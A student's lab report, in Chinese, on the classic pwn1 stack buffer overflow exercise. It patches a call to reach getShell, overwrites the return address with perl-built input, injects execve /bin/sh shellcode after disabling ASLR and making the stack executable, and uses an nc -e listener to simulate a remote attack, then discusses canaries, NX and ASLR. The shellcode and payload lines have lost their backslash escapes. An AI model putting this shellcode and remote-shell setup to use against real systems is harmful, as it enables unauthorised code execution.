一、实验说明
本次实践的对象是一个名为pwn1的linux可执行文件。
我们在实验之前，首先要将kali虚拟机的主机名修改为自己名字的拼音 hostname xxx ，然后将pwn1修改为pwn学号 cp pwn1 pwn20181318
该程序的正常执行流程是：main调用foo函数，foo函数会简单回显任何用户输入的字符串。
我们通过反汇编可以看出，该程序同时包含另一个代码片段——getShell，它会返回一个可用的Shell。正常情况下，getShell代码段是不会被运行的。我们要想办法让它运行。
二、实验目标
- 运行原本不可访问的代码片段：手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 强行修改程序执行流：利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入shellcode并运行这段代码。
三、预习内容
3.1 NOP, JNE, JE, JMP, CMP汇编指令的机器码
| 汇编指令 | 机器码 | 功能 |
| NOP | 0x90 | 空指令，CPU执行到NOP指令时，什么也不做，继续执行NOP后面的一条指令。 |
| JNE | 0x75 | 条件转移指令，如果不相等则跳转。 |
| JE | 0x74 | 条件转移指令，如果相等则跳转。 |
| JMP | 无条件转移指令。段内直接短转Jmp short：0xEB；段内直接近转移Jmp near：0xE9；段内间接转移Jmp word：0xFF；段间直接(远)转移Jmp far：0xEA | |
| CMP | 0x38-0x3D | 比较指令，功能相当于减法指令，只是对操作数之间进行运算比较，不保存结果。 |
其他汇编指令所对应的机器码可查看对应表。
3.2 反汇编与十六进制编辑器
3.2.1 反汇编指令 objdump
objdump -d <file(s)>: 将代码段反汇编; objdump -S <file(s)>: 将代码段反汇编的同时，将反汇编代码与源代码交替显示，编译时需要使用-g参数，即需要调试信息； objdump -C <file(s)>: 将C++符号名逆向解析 objdump -l <file(s)>: 反汇编代码中插入文件名和行号 objdump -j section <file(s)>: 仅反汇编指定的section
objdump -d xxx | more ：分页显示反汇编的内容
其他用法可查看linux帮助手册，用 man objdump 查看
3.2.2 十六进制编辑器
vim <filename>: 以ASCII码形式显示可执行文件的内容 :%!xxd: 将显示模式切换为16进制模式 :%!xxd： 将16进制切换回ASCII码模式
也可以使用图形化的编辑工具wxHexEditor
3.3 管道符（|）
利用管道符“|”将两个命令隔开，可以将管道符左边命令的标准输出管道为右边命令的标准输入。
连续使用管道符意味着第一个命令的输出会作为第二个命令的输入，第二个命令的输出又会作为第三个命令的输入，依此类推。
3.4 输入输出重定向
3.4.1 Linux的标准输入与输出
| 文件描述符 | 类型 | 设备 | 文件 |
| 0 | 标准输入 | 键盘 | stdin |
| 1 | 标准输出 | 显示器 | stdout |
| 2 | 标准错误输出 | 显示器 | stderr |
3.4.2 输入重定向
将文件作为标准输入设备，即读取文件作为命令的输入
command < file ：将输入重定向到 file。
3.4.3 输出重定向
将文件作为标准输出设备，即将命令的正确输出重定向至文件中
command > file ：将输出重定向到 file。
注意：file中已经存在的内容将被新输出的内容替代。
command >> file ：将输出以追加的方式重定向到 file。
注意：>>不会覆盖原有内容，而是在文件末尾添加新内容。
3.5 ELF文件格式
ELF是一种文件存储格式。Linux下的目标文件和可执行文件都按照该格式进行存储。
ELF文件格式提供了两种视图，分别是链接视图和执行视图。链接视图是以节（section）为单位，是在链接时用到的视图。执行视图是以段（segment）为单位，是在执行时用到的视图。
它由4部分组成，分别是ELF头、程序头表、节/段 和节头表。实际上，一个文件中不一定包含全部内容，而且它们的位置也未必如图所示这样安排，只有ELF头的位置是固定的，其余各部分的位置、大小等信息由ELF头中的各项值来决定。
ELF头（ELF header）：描述整个文件的组织。
程序头表（Program header table）：描述文件中的各种segments，用来告诉系统如何创建进程映像的。
节（Section）或段（segment）：在链接阶段，我们可以忽略program header table来处理此文件，在运行阶段可以忽略section header table来处理此程序。segments与sections是包含的关系，一个segment包含若干个section。
节头表（Section header table）：包含了文件各个section的属性信息
readelf-h xxx.o ：查看头信息
readelf-S xxx.o ：显示节头表信息
readelf-l xxx.o ：显示程序头表信息
readelf-a xxx.o ：显示全部信息
其他具体内容可参考ELF文件格式解析。
3.6 大端与小端
大端：高位字节存放在内存的低地址端，低位字节存放在内存的高地址端
小端：高位字节存放在内存的高地址端，低位字节存放在内存的低地址端
例：0x12345678
| 低 | 高 | |||
| 大端 | 0x12 | 0x34 | 0x56 | 0x78 |
| 小端 | 0x78 | 0x56 | 0x34 | 0x12 |
本次实验的pwn文件，是小端存储。
3.7 EIP寄存器
EIP寄存器，用来存储CPU要读取指令的地址，CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后，EIP寄存器的值就会增加。
3.8 什么是漏洞？漏洞有什么危害？
漏洞，是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，它可以使攻击者在未授权的情况下访问或破坏系统。
危害：（1）软件的正常功能被破坏；
（2）系统被非法控制和破坏，攻击者恶意传播病毒、蠕虫，破坏系统数据，实施DDos攻击；
（3）信息泄露，攻击者一旦窃取管理员的身份信息，将会对系统造成巨大的危害，如更改系统权限，发送大量垃圾信息给用户。
四、实验过程
4.1直接修改程序机器指令，改变程序执行流程
4.1.1 对pwn文件进行反汇编
objdump -d pwn20181318 |more ，找到main函数、foo函数、getshell函数
从图中可以找到，main函数有一条call指令，我们知道call指令相当于执行：①push %eip ②jump xxx，
此时eip寄存器的值是 0x80484ba
分析 e8 d7 ff ff ff ，e8是call指令对应的机器码，它的功能是调用foo函数，
所以它会跳转至foo函数的入口 0x8048491 ，而后面的 d7 ff ff ff 又是怎么来的呢？
由预备知识可以知道，此文件是小端存储，计算机内的数据是以补码形式存储的，
0x848491-0x80484ba=0xffffffd7 ，即目标地址-eip
所以，我们要想跳转至getshell函数，只需要计算目标地址与eip的差值即可。 0x804847d-0x80484ba=0xffffffc3
将机器码修改为 e8 c3 ff ff ff 即可跳转至getshell。
4.1.2 修改机器码步骤如下：
①vi打开pwn20181318文件，此时是以ASCII码的形式显示
②按esc，输入：%!xxd，将显示模式切换为16进制。
第一列是地址的相对偏移，第二列是对应的16进制，第三列是对应的ASCII码
③输入/e8d7，定位到我们要修改的内容
④将d7修改为c3，修改方法：找到d，按住r(replace)，换为c
⑤再将限时模式从16进制转换为原模式
⑥存盘退出 ：wq
4.1.3 再次反汇编pwn20181318文件，查看是否修改成功
4.1.4 运行
输入 ./pwn20181318 ，执行getShell，得到shell提示符
再次运行备份文件 ./pwn20181318.bak ，可正常执行foo函数，回显用户输入的字符串
4.2 通过构造输入参数，造成BOF攻击，改变程序执行流
首先用备份文件恢复源文件
cp pwn20181318.bak pwn20181318
4.2.1 反汇编，了解程序的基本功能
该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞
从图中我们可以看到，系统只分配了0x1c（28字节）的缓冲区
我们的目标是触发getshell函数，即利用foo函数的bof漏洞，覆盖返回地址为getshell函数的入口地址 0x804847d
main函数中的call指令执行时，将 eip=0x80484ba 压栈
4.2.2 确认输入字符串哪几个字符会覆盖到返回地址
在执行foo函数时，首先会将ebp压栈，ebp寄存器是32位的（即4字节）
我们猜测应该是字符串的第33-36位覆盖返回地址，因为 28+4（ebp）=32
接下来，利用gdb调试，对猜想进行验证
① gdb pwn20181318 进入gdb
②输入r，运行程序。此时我输入字符串：1111111122222222333333334444444412345678
③输入 info r ，查看寄存器的值
由图可得，eip寄存器的返回地址被覆盖为0x34333231，即我们输入的1234（33-36位）
cpu会跳转至这个位置继续执行代码，但是这个位置没有东西可以执行，所以产生Segmentation fault——段错误。
我们只需要将这四个字符改为getshell的地址，即可使程序跳转执行getshell.
4.2.3 确认用什么值来覆盖返回地址
getshell的地址为 0x804847d ，由于是小端存储，我们需要输入的字符串应该是
11111111222222223333333344444444x7dx84x04x08
4.2.4 构造输入字符串
因为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以我们需要先生成一个包括这样字符串的文件。
perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
将perl生成的字符串重定向至input文件中。
如果不使用输出重定向，生成的字符串会直接显示在屏幕上。
注意：之所以要用0x0a（回车）结束，是因为如果没有的话，相当于只是输入字符串，但是终端并不知道已经接收完毕，也就不会继续向下执行，除非手动按回车。
xxd input ：用16进制查看input文件的内容是否如预期。
4.2.5 运行
将input的内容显示出来，通过管道符“|”，作为pwn20181318的输入
(cat input; cat) | ./pwn20181318
4.3 注入Shellcode并执行
核心：找到shellcode的地址
4.3.1 使用准备好的shellcode
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
4.3.2 准备工作
因为要对堆栈进行相关设置，所以首先要下载安装perlink
execstack -s pwn20181318 //设置堆栈可执行 execstack -q pwn20181318 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启，显示2则表示目前是开启状态 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化，需要使用sudo权限 more /proc/sys/kernel/randomize_va_space //再次查询地址随机化是否开启，显示0则表示目前是关闭状态
4.3.3 构造要注入的payload
Linux下有两种基本构造攻击buf的方法：
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
通常情况下，缓冲区小就把shellcode放后边（高地址），缓冲区大就把shellcode放前边（低地址）。
Nop：空指令，CPU执行到NOP指令时，什么也不做，继续执行NOP后面的一条指令。它的作用是：填充和滑行。
只要我们猜测的返回地址落在任何一个nop上，它自然会滑到我们的shellcode去执行。
我们的缓冲区的大小是28个字节，这个缓冲区够放本实验的shellcode了，所以我们选用 nops+shellcode+retaddr 结构。
（1）利用perl构造字符串
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
由4.2可知，我们需要覆盖的返回地址是33-36位，即x4x3x2x1，我们需要将其修改为shellcode的地址。
注意：不能以x0a结束，因为后面我们要利用gdb调试来确定shellcode的地址，所以需要将程序停下来设置断点，如果以回车结束，程序就会自动执行完毕，后续的操作也就无法进行。
（2）接下来，我们就来确定shellcode的地址。
打开一个终端1，输入 (cat input_shellcode;cat) | ./pwn20181318 进行攻击
从图中我们可以看到，进程并没有回显出input_shellcode的内容，可以证明程序停了下来。
再开另外一个终端2，用gdb来调试pwn20181318这个进程。
① ps -ef | grep pwn20181318 ：找到进程号
②启动gdb调试这个进程。 attach 进程号
③反汇编foo函数 disassemble foo ，找合适的位置设置断点
在红色方框圈住的位置设置断点，因为此时注入的code已经在堆栈上了，ret指令一执行，就会跳转至覆盖retaddr的那个位置。
break *0x080484ae 设置断点。
④在终端1中按下回车，在终端2中输入c，继续运行程序。
⑤ info r esp 查看esp寄存器的值
x/16x 0xffffd11c 以16进制显示从0xffffd11c开始的16个数据
由图可知，0x909031c0的地址为0xffffd100，这就是我们shellcode的地址。
由图可知，程序的返回地址占位也是正确的，退出gdb即可。
（3）我们就将返回地址覆盖为0xffffd100
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd1xffxffx00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20181318 ，重新运行程序，发现失败。
（4）启动gdb进行调试，查找错误（过程与上面类似）
我们发现，esp和eip的值都是正确的。
缓冲区看起来也是正确的
我们接下来进行单步调试，si是step instruction的简写，表示单步运行
我们发现，在执行第十个si的时候发生了段错误，也就代表在执行完第9个si的时候导致错误的出现
我分析，错误的原因应该是在执行的时候函数栈增长覆盖了原有的指令。
（5）所以，我们调整结构为 anything+retaddr+nops+shellcode
由图可知，shellcode紧挨着0x04030201，所以shellcode的地址是 0xffffd11c+4=0xffffd120
perl -e 'print "A" x 32;print "x20xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
xxd input_shellcode 以16进制查看input_shellcode的内容
运行程序，成功执行shellcode。
4.4 结合nc模拟远程攻击
4.4.1 在同一台主机上进行
主机1，模拟一个有漏洞的网络服务：
nc -l 127.0.0.1 -p 28234 -e ./pwn1 -l 表示listen, -p 后加端口号 -e 后加可执行文件，网络上接收的数据将作为这个程序的输入
主机2，连接主机1并发送攻击载荷：
(cat input; cat) | nc 127.0.0.1 28234
4.4.2 模拟两台主机的远程控制
ifconfig 查询主机1的ip地址为192.168.174.129
主机1：nc -l -p 28234 -e ./pwn1 参考课题负责人的博客，隐去ip地址，能够避免主机存在多个IP地址，发送存在限制的问题。
主机2：(cat input_shellcode; cat) | nc 192.168.174.129 28234
4.4.3 存在的问题
一般是高版本gcc编译后低版本运行会出现此错误，或者是代码内出现逻辑错误。
解决：将input_shellcode替换为input即可正常运行。
两台主机可以相互ping通，但是显示无法连接。
解决：隐去ip地址，直接输入nc -l -p 28234 -e ./pwn1
五、缓冲区溢出攻击防护技术
1. 防止注入的角度——GCC 中的编译器堆栈保护技术（Canaries检测）
在编译时，编译器每次函数调用前都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。
常见的canary word：随机数、特殊字符串（Null、CR、LF）、随机数与控制信息、返回地址异或得到的
- -fstack-protector：启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码。
- -fstack-protector-all：启用堆栈保护，为所有函数插入保护代码。
- -fno-stack-protector：禁用堆栈保护。
2. 注入入了也不让运行
结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。
- excstack -c pwn1 把堆栈设置为不可执行
- execstack -q pwn1 查询堆栈状态
3. 增加shellcode的构造难度
当我们要注入shellcode进行攻击时，我们要猜测shellcode的地址，我们此次的实验为了降低难度，关闭了地址随机化，这样应用的代码段、堆栈段每次都被OS放置到固定的内存地址。
ALSR（地址随机化）：就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况
0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址，stack和vdso页面随机化。 2 - 表示在1的基础上增加栈（heap）的随机化。
4.管理角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
六、实验感想
之前很多课也都了解过缓冲区溢出的相关内容，但是并没有真正的把原理搞懂，尤其是栈的增长方向和缓冲区的增长方向，不明白为什么会把返回地址覆盖了。通过这次实验，让我对函数调用与堆栈有了更加清楚的认识。栈的增长是从高地址——>低地址，而缓冲区的填充是从低地址——>高地址。函数调用时，会为其建立相应的栈帧（栈顶指针esp与栈底指针ebp之间的内存区）；调用结束时，释放内存空间。
同时，我也学明白了一些汇编指令与其对应的机器码，对寄存器也有了更加明确的认识，知道了esp、eip这些都是32位的寄存器，rsp、rip是64位的。call指令相当于执行了①push %eip ②jump xxx两条指令，与其对应的leave指令相当于执行了①mov %ebp %esp ②pop %ebp。本次实验用到次数最多的就是objdump反汇编指令，我们还可以在gdb中用disassemble xxx 进行反汇编。
这三个小实验中，最难的就是第三个，视频看了一遍又一遍，就是有些东西不是很理解，比如说刚开始就是不理解为什么nsr这种结构不成功，为什么找shellcode的地址要借用esp寄存器。经过与同学们的交流，这些问题也都还是解决了。最后又把实验从头到尾做了一遍，感觉还是挺不错的。之后的几次实验我会更加努力，看视频有不懂的问题就及时在蓝墨云中提问，真正把实验的重难点给搞明白！